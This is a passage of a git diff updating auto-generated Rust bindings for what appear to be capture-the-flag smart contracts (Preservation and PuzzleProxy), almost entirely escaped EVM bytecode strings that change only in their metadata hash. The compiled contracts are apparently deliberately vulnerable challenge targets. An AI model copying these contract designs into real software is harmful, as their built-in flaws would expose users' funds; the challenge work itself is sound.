\x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x01\xB1V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 \xADa\x13\xDB\r \x03x\xDC\xF9\x8A\x0B\x93\xFD\x90^\xF5\xC9\x08W\xD69\xEC\x1F\x1D+\x18\xBB0\x9C\xFD\x82dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xDD8\x03\x80a\x02\xDD\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8CV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x92\x90\x93\x16\x91\x81\x16\x91\x90\x91\x17\x90\x91U`\x02\x80T\x90\x91\x163\x17\x90Ua\0\xBFV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x87W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\0\x9FW`\0\x80\xFD[a\0\xA8\x83a\0pV[\x91Pa\0\xB6` \x84\x01a\0pV[\x90P\x92P\x92\x90PV[a\x02\x0F\x80a\0\xCE`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c'\xD6\x97O\x14a\0\\W\x80c=\xC7\x94\"\x14a\0\x8BW\x80c[\xDA\x8F\xA4\x14a\0\x9EW\x80c\x8D\xA5\xCB[\x14a\0\xB3W\x80c\xF1\xE0& \x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xAC6`\x04a\x01\x91V[a\0\xD9V[\0[`\x02Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xD46`\x04a\x01\x91V[a\x01cV[`\x01T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01[`@\x80Q`\x1F\x19\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\x1D\x91a\x01\xAAV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01XW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01]V[``\x91P[PPPPV[`\0T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01a\x01\x03V[`\0` \x82\x84\x03\x12\x15a\x01\xA3W`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x01\xCBW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x01\xB1V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 .\xD9\x90\xDE+~\xC4`\xCC\xA4v6\xAF\xCD\xBE\x9D\xDF~\xD40E\x9E\x8B`\x82\xAA\xBEsv_I\x91dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static PRESERVATION_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c'\xD6\x97O\x14a\0\\W\x80c=\xC7\x94\"\x14a\0\x8BW\x80c[\xDA\x8F\xA4\x14a\0\x9EW\x80c\x8D\xA5\xCB[\x14a\0\xB3W\x80c\xF1\xE0& \x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xAC6`\x04a\x01\x91V[a\0\xD9V[\0[`\x02Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xD46`\x04a\x01\x91V[a\x01cV[`\x01T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01[`@\x80Q`\x1F\x19\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\x1D\x91a\x01\xAAV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01XW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01]V[``\x91P[PPPPV[`\0T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01a\x01\x03V[`\0` \x82\x84\x03\x12\x15a\x01\xA3W`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x01\xCBW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x01\xB1V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 \xADa\x13\xDB\r \x03x\xDC\xF9\x8A\x0B\x93\xFD\x90^\xF5\xC9\x08W\xD69\xEC\x1F\x1D+\x18\xBB0\x9C\xFD\x82dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c'\xD6\x97O\x14a\0\\W\x80c=\xC7\x94\"\x14a\0\x8BW\x80c[\xDA\x8F\xA4\x14a\0\x9EW\x80c\x8D\xA5\xCB[\x14a\0\xB3W\x80c\xF1\xE0& \x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xAC6`\x04a\x01\x91V[a\0\xD9V[\0[`\x02Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xD46`\x04a\x01\x91V[a\x01cV[`\x01T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01[`@\x80Q`\x1F\x19\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\x1D\x91a\x01\xAAV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01XW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01]V[``\x91P[PPPPV[`\0T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01a\x01\x03V[`\0` \x82\x84\x03\x12\x15a\x01\xA3W`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x01\xCBW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x01\xB1V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 .\xD9\x90\xDE+~\xC4`\xCC\xA4v6\xAF\xCD\xBE\x9D\xDF~\xD40E\x9E\x8B`\x82\xAA\xBEsv_I\x91dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static PRESERVATION_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/puzzle_proxy.rs b/ctf/src/abi/puzzle_proxy.rs index 5347630..496709d 100644 --- a/ctf/src/abi/puzzle_proxy.rs +++ b/ctf/src/abi/puzzle_proxy.rs @@ -170,12 +170,12 @@ pub mod puzzle_proxy { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x07\x958\x03\x80a\x07\x95\x839\x81\x01`@\x81\x90Ra\0/\x91a\x02\x06V[\x81\x81a\0\\`\x01\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBDa\x02\xD6V[`\0\x80Q` a\x07u\x839\x81Q\x91R\x14a\0xWa\0xa\x02\xFDV[a\0\x81\x82a\x01\x1DV[\x80Q\x15a\0\xF2W`\0\x82`\x01`\x01`\xA0\x1B\x03\x16\x82`@Qa\0\xA2\x91\x90a\x03\x13V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\0\xDDW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\0\xE2V[``\x91P[PP\x90P\x80a\0\xF0W`\0\x80\xFD[P[PP`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x94\x90\x94\x16\x93\x90\x93\x17\x90\x92UPa\x03/\x90PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x01\x9EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01R\x7Ftion is not a contract\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01`@Q\x80\x91\x03\x90\xFD[`\0\x80Q` a\x07u\x839\x81Q\x91RUV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\xC7W`\0\x80\xFD[\x91\x90PV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0[\x83\x81\x10\x15a\x01\xFDW\x81\x81\x01Q\x83\x82\x01R` \x01a\x01\xE5V[PP`\0\x91\x01RV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x02\x1BW`\0\x80\xFD[a\x02$\x84a\x01\xB0V[\x92Pa\x022` \x85\x01a\x01\xB0V[`@\x85\x01Q\x90\x92P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15a\x02OW`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02cW`\0\x80\xFD[\x81Q\x81\x81\x11\x15a\x02uWa\x02ua\x01\xCCV[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x02\x9DWa\x02\x9Da\x01\xCCV[\x81`@R\x82\x81R\x89` \x84\x87\x01\x01\x11\x15a\x02\xB6W`\0\x80\xFD[a\x02\xC7\x83` \x83\x01` \x88\x01a\x01\xE2V[\x80\x95PPPPPP\x92P\x92P\x92V[\x81\x81\x03\x81\x81\x11\x15a\x02\xF7WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[cNH{q`\xE0\x1B`\0R`\x01`\x04R`$`\0\xFD[`\0\x82Qa\x03%\x81\x84` \x87\x01a\x01\xE2V[\x91\x90\x91\x01\x92\x91PPV[a\x047\x80a\x03>`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0NW`\x005`\xE0\x1C\x80c&x\"G\x14a\0eW\x80c6Y\xCF\xE6\x14a\0\xA1W\x80c\xA0/\xCC\n\x14a\0\xC1W\x80c\xA67gF\x14a\0\xE1W\x80c\xF8Q\xA4@\x14a\x01\x1EWa\0]V[6a\0]Wa\0[a\x01>V[\0[a\0[a\x01>V[4\x80\x15a\0qW`\0\x80\xFD[P`\0Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xADW`\0\x80\xFD[Pa\0[a\0\xBC6`\x04a\x03\xD1V[a\x01pV[4\x80\x15a\0\xCDW`\0\x80\xFD[Pa\0[a\0\xDC6`\x04a\x03\xD1V[a\x01\xD5V[4\x80\x15a\0\xEDW`\0\x80\xFD[Pa\0[a\0\xFC6`\x04a\x03\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\x01*W`\0\x80\xFD[P`\x01Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01na\x01i\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCT\x90V[a\x02\xD3V[V[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xC9W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[a\x01\xD2\x81a\x02\xF7V[PV[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02)W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01a\x01\xC0V[`\0T`\x01`\x01`\xA0\x1B\x03\x82\x81\x16\x91\x16\x14a\x02\xAEW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x81\x01\x91\x90\x91R\x7FExpected new admin by the curren`D\x82\x01R\x7Ft admin is not the pending admin`d\x82\x01R`\x84\x01a\x01\xC0V[P`\0T`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x90\x91\x17\x90UV[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15a\x02\xF2W=`\0\xF3[=`\0\xFD[a\x03\0\x81a\x037V[`@Q`\x01`\x01`\xA0\x1B\x03\x82\x16\x90\x7F\xBC|\xD7Z \xEE'\xFD\x9A\xDE\xBA\xB3 A\xF7U!M\xBCk\xFF\xA9\x0C\xC0\"[9\xDA.\\-;\x90`\0\x90\xA2PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x03\xADW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01Ru\x1D\x1A[\xDB\x88\x1A\\\xC8\x1B\x9B\xDD\x08\x18H\x18\xDB\xDB\x9D\x1C\x98X\xDD`R\x1B`d\x82\x01R`\x84\x01a\x01\xC0V[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCUV[`\0` \x82\x84\x03\x12\x15a\x03\xE3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\xFAW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xC1\x02\x0Ep\x9DE\x1D\xADK\xDANy\xF4\xDAx\x8F\xD9U\x18\xF8\xFE@R\xA0\x18\xAAW\xD8\xBB\xE5\xA2QdsolcC\0\x08\x15\x0036\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x07\x958\x03\x80a\x07\x95\x839\x81\x01`@\x81\x90Ra\0/\x91a\x02\x06V[\x81\x81a\0\\`\x01\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBDa\x02\xD6V[`\0\x80Q` a\x07u\x839\x81Q\x91R\x14a\0xWa\0xa\x02\xFDV[a\0\x81\x82a\x01\x1DV[\x80Q\x15a\0\xF2W`\0\x82`\x01`\x01`\xA0\x1B\x03\x16\x82`@Qa\0\xA2\x91\x90a\x03\x13V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\0\xDDW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\0\xE2V[``\x91P[PP\x90P\x80a\0\xF0W`\0\x80\xFD[P[PP`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x94\x90\x94\x16\x93\x90\x93\x17\x90\x92UPa\x03/\x90PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x01\x9EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01R\x7Ftion is not a contract\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01`@Q\x80\x91\x03\x90\xFD[`\0\x80Q` a\x07u\x839\x81Q\x91RUV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\xC7W`\0\x80\xFD[\x91\x90PV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0[\x83\x81\x10\x15a\x01\xFDW\x81\x81\x01Q\x83\x82\x01R` \x01a\x01\xE5V[PP`\0\x91\x01RV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x02\x1BW`\0\x80\xFD[a\x02$\x84a\x01\xB0V[\x92Pa\x022` \x85\x01a\x01\xB0V[`@\x85\x01Q\x90\x92P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15a\x02OW`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02cW`\0\x80\xFD[\x81Q\x81\x81\x11\x15a\x02uWa\x02ua\x01\xCCV[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x02\x9DWa\x02\x9Da\x01\xCCV[\x81`@R\x82\x81R\x89` \x84\x87\x01\x01\x11\x15a\x02\xB6W`\0\x80\xFD[a\x02\xC7\x83` \x83\x01` \x88\x01a\x01\xE2V[\x80\x95PPPPPP\x92P\x92P\x92V[\x81\x81\x03\x81\x81\x11\x15a\x02\xF7WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[cNH{q`\xE0\x1B`\0R`\x01`\x04R`$`\0\xFD[`\0\x82Qa\x03%\x81\x84` \x87\x01a\x01\xE2V[\x91\x90\x91\x01\x92\x91PPV[a\x047\x80a\x03>`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0NW`\x005`\xE0\x1C\x80c&x\"G\x14a\0eW\x80c6Y\xCF\xE6\x14a\0\xA1W\x80c\xA0/\xCC\n\x14a\0\xC1W\x80c\xA67gF\x14a\0\xE1W\x80c\xF8Q\xA4@\x14a\x01\x1EWa\0]V[6a\0]Wa\0[a\x01>V[\0[a\0[a\x01>V[4\x80\x15a\0qW`\0\x80\xFD[P`\0Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xADW`\0\x80\xFD[Pa\0[a\0\xBC6`\x04a\x03\xD1V[a\x01pV[4\x80\x15a\0\xCDW`\0\x80\xFD[Pa\0[a\0\xDC6`\x04a\x03\xD1V[a\x01\xD5V[4\x80\x15a\0\xEDW`\0\x80\xFD[Pa\0[a\0\xFC6`\x04a\x03\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\x01*W`\0\x80\xFD[P`\x01Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01na\x01i\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCT\x90V[a\x02\xD3V[V[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xC9W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[a\x01\xD2\x81a\x02\xF7V[PV[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02)W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01a\x01\xC0V[`\0T`\x01`\x01`\xA0\x1B\x03\x82\x81\x16\x91\x16\x14a\x02\xAEW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x81\x01\x91\x90\x91R\x7FExpected new admin by the curren`D\x82\x01R\x7Ft admin is not the pending admin`d\x82\x01R`\x84\x01a\x01\xC0V[P`\0T`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x90\x91\x17\x90UV[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15a\x02\xF2W=`\0\xF3[=`\0\xFD[a\x03\0\x81a\x037V[`@Q`\x01`\x01`\xA0\x1B\x03\x82\x16\x90\x7F\xBC|\xD7Z \xEE'\xFD\x9A\xDE\xBA\xB3 A\xF7U!M\xBCk\xFF\xA9\x0C\xC0\"[9\xDA.\\-;\x90`\0\x90\xA2PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x03\xADW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01Ru\x1D\x1A[\xDB\x88\x1A\\\xC8\x1B\x9B\xDD\x08\x18H\x18\xDB\xDB\x9D\x1C\x98X\xDD`R\x1B`d\x82\x01R`\x84\x01a\x01\xC0V[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCUV[`\0` \x82\x84\x03\x12\x15a\x03\xE3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\xFAW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 Z\xF0#\n\xFD\x81N-#\xF2d\x819\xB9D\x18R\xEE\xA6\xDE\x03\r^\xC1\x06\xA1uN\x16\xB39\x1AdsolcC\0\x08\x15\x0036\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC"; /// The bytecode of the contract. pub static PUZZLEPROXY_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0NW`\x005`\xE0\x1C\x80c&x\"G\x14a\0eW\x80c6Y\xCF\xE6\x14a\0\xA1W\x80c\xA0/\xCC\n\x14a\0\xC1W\x80c\xA67gF\x14a\0\xE1W\x80c\xF8Q\xA4@\x14a\x01\x1EWa\0]V[6a\0]Wa\0[a\x01>V[\0[a\0[a\x01>V[4\x80\x15a\0qW`\0\x80\xFD[P`\0Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xADW`\0\x80\xFD[Pa\0[a\0\xBC6`\x04a\x03\xD1V[a\x01pV[4\x80\x15a\0\xCDW`\0\x80\xFD[Pa\0[a\0\xDC6`\x04a\x03\xD1V[a\x01\xD5V[4\x80\x15a\0\xEDW`\0\x80\xFD[Pa\0[a\0\xFC6`\x04a\x03\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\x01*W`\0\x80\xFD[P`\x01Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01na\x01i\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCT\x90V[a\x02\xD3V[V[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xC9W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[a\x01\xD2\x81a\x02\xF7V[PV[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02)W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01a\x01\xC0V[`\0T`\x01`\x01`\xA0\x1B\x03\x82\x81\x16\x91\x16\x14a\x02\xAEW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x81\x01\x91\x90\x91R\x7FExpected new admin by the curren`D\x82\x01R\x7Ft admin is not the pending admin`d\x82\x01R`\x84\x01a\x01\xC0V[P`\0T`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x90\x91\x17\x90UV[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15a\x02\xF2W=`\0\xF3[=`\0\xFD[a\x03\0\x81a\x037V[`@Q`\x01`\x01`\xA0\x1B\x03\x82\x16\x90\x7F\xBC|\xD7Z \xEE'\xFD\x9A\xDE\xBA\xB3 A\xF7U!M\xBCk\xFF\xA9\x0C\xC0\"[9\xDA.\\-;\x90`\0\x90\xA2PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x03\xADW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01Ru\x1D\x1A[\xDB\x88\x1A\\\xC8\x1B\x9B\xDD\x08\x18H\x18\xDB\xDB\x9D\x1C\x98X\xDD`R\x1B`d\x82\x01R`\x84\x01a\x01\xC0V[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCUV[`\0` \x82\x84\x03\x12\x15a\x03\xE3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\xFAW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xC1\x02\x0Ep\x9DE\x1D\xADK\xDANy\xF4\xDAx\x8F\xD9U\x18\xF8\xFE@R\xA0\x18\xAAW\xD8\xBB\xE5\xA2QdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0NW`\x005`\xE0\x1C\x80c&x\"G\x14a\0eW\x80c6Y\xCF\xE6\x14a\0\xA1W\x80c\xA0/\xCC\n\x14a\0\xC1W\x80c\xA67gF\x14a\0\xE1W\x80c\xF8Q\xA4@\x14a\x01\x1EWa\0]V[6a\0]Wa\0[a\x01>V[\0[a\0[a\x01>V[4\x80\x15a\0qW`\0\x80\xFD[P`\0Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` 